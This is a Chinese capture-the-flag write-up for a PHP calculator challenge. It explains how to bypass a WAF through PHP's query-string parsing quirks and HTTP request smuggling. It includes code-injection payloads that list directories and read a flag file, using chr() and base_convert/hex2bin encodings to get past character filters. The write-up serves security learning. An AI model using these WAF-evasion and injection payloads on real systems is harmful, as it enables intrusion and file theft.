打开题目:
随便输入1,回显:
再尝试些敏感的关键词,回显:
看来是有waf,于是打开源码看看有唔提示:
1 | <!--I've set up WAF to ensure security.-->' |
源码中提示了这题加了waf,我们访问calc.php,看到源码如下:
1 |
|
由这个waf我们得知payload中不能含有”‘ ‘, ‘\t’, ‘\r’, ‘\n’,’'‘, ‘“‘, ‘`‘, ‘[‘, ‘]‘,’$‘,’\‘,’^‘“字符,除此之外,经过测试,这还过滤了字母,若num中含有字母则会返回403,所以除了上面这个waf、还有一个black_list
那么第一步要做的就是绕过他们
其中一个最简单的办法就是直接在查询参数前面加个空格,即将?num=改为? num=即可绕过(在num前加个空格)
利用PHP的字符串解析特性绕过modsecurity
转至:https://www.freebuf.com/articles/web/213359.html
PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
1 | /news.php?%20news[id%00=42"+AND+1=0-- |
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1 | 1.删除空白符 |
例如:
| User input | Decoded PHP | variable name |
|---|---|---|
| %20foo_bar%20 | foo_bar | foo_bar |
| foo%20bar%00 | foo bar | foo_bar |
| foo%5bbar | foo[bar | foo_bar |
parser_str函数如何处理字符串:
1 |
|
parse_str函数通常被自动应用于get、post请求和cookie中。如果你的Web服务器接受带有特殊字符的参数名,那么也会发生类似的情况。如上代码所示,我进行了多次循环,枚举了参数名三个位置的0到255之间的所有字符,看看解析函数到底是如何处理这些特殊字符的。结果如下:
1 | 1.[1st]foo_bar |
在上述方案中,foo%20bar和foo+bar等效,均解析为foo bar。
payload:
方法一:
1 | calc.php? num=phpinfo() |
发现有禁用函数
不管,先找
1 | ? num=var_dump(scandir(dirname(dirname(dirname(getcwd()))))); |
相关函数
1 | getcwd — 取得当前工作目录 |
找到flag:
又因为过滤了些符号,不能直接var_dump(file_get_contents(‘/f1agg’)),所以想到了可以用编码绕过
1 | ?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) |
方法二:利用base_convert
base_convert函数可以在任意进制之间转换数字,可以返回任意字母,需要注意它无法返回_ *等特殊字符
又发现dechex函数可以把10进制转换为16进制,我们可以再异或出hex2bin——(将十六进制数转换为二进制数),来获取任意ASCII字符
可以构造var_dump(base_convert(61693386291,10,36)(hex2bin(dechex(46)).hex2bin(dechex(47))))相当于var_dump(scandir(./))
找到f1agg后
可以构造出readfile(/f1agg)来读取文件
构造为:base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))就可以得到flag文件。
协议层的攻击——HTTP请求走私
除此之外,还有另一种方法可以绕过:
利用HTTP请求走私来绕过,该漏洞可以参考“协议层的攻击——HTTP请求走私”:https://paper.seebug.org/1048/#31-cl0get
当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。
理解为php中$_request 相同字段名优先接收post参数,就是这个同时向服务器传递get和post请求,而waf那里只处理了post请求的值,从而使get请求的值绕过了waf的拦截
使用两个 “Content-Length” 绕过
payload同上